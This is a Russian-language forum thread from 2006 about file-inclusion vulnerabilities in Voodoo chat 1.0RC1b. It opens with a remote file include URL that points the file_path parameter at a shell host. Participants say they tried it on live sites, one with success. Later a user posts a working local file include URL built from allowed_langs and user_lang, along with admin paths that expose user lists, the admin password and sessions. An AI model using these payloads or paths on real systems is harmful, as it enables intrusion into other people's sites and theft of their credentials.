Просмотр полной версии : PHP-инклюдинг в Voodoo chat
Программа: Voodoo chat 1.0RC1b и предыдущих
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "file_path" в сценарии index.php.
Пример:
http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM?
источник xakep.ru (http://www.xakep.ru/post/33073/default.asp)
Мдаа... Жаль что в новых версиях не пашет
гг я тож увидел.Думал дожили...Ппробовал на одном, неспахало
В одном получилось) Молодец кловер.
if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
else include_once($file_path.\"languages/\".$language.\".php\");
и где тут инклуд?:)Чет не совсем понял:)
forever777
03.08.2006, 02:22
чето я таких версий чата найти не могу!
dinar_007
03.08.2006, 02:31
форевер777, а зачем тебе их искать? Вред, незнакомому тебе, чату хочешь причинить? Не надо быть злоумышленником :-)
Динар, без флейма. Сам ведь модер, понимать должен.
Rabid Rabbit
03.08.2006, 20:04
Начица раздупляю ситуасьён. Не знаю как там в предыдущих версиях (мож кто поделится сорцами?) но на данный момент мы имеем следующее:
---------------------------- файл <host>/chat/index.php
<?php
require_once("inc_common.php");
---------------------------- <host>/chat/inc_common.php
if (!($conf_content = implode("",file($data_path."voc.conf")))) {
trigger_error("1000\tCannot open voc.conf file, please check your DATA PATH parameter",E_USER_ERROR);
}
eval($conf_content);
---------------------------- и наконец в <host>/data/voc.conf имеем
$file_path = "<host>/chat/";
----------------------------
такие пироги. пороюсь еще по остальным пхп завтра.
Rabid Rabbit
04.08.2006, 13:10
Итак, прадолжим. Бегло просотрел пхп-хи в <host>/chat/ - подкопаться сложно. Вощем надоело и я решил пойти другим путем. И таки имеем локальный инклуд (в текущей самой новой версии) .
Уязвимость находится в файле <host>/chat/welcome.php :
require_once("inc_common.php");
////////////// скип ////////////////
set_variable("user_lang");
set_variable("c_ulang");
if ($c_ulang != "" && $user_lang == "") $user_lang = $c_ulang;
if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
else include_once($file_path."languages/".$user_lang.".php");
////////////// скип ////////////////
Тогда локальный инклуд будет иметь следующий вид:
<host>/chat/welcome.php?allowed_langs[0]=&allowed_langs[1]=&allowed_langs[2]=../welcome&user_lang=../welcome
Инклудим саму себя - чисто для примера.
Ну и register_globals = on разумеется чтобы заработало.
%00 - ессесно не катит потому что в inc_common.php в функции set_variable() присутсвует $$variable_name = str_replace("\0","", $$variable_name);
Поэтому думаю больше тут сделать ничего низя.
Ну и в заключение пару небольших фич:
- получить список всех зарегеных юзеров <host>/chat/photos/renamer.php
- позырить пароль админа здесь: <host>/chat/admin/admin_users.php
- сессию админа здесь : <host>/chat/admin/sessions.php
На этом у меня все.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot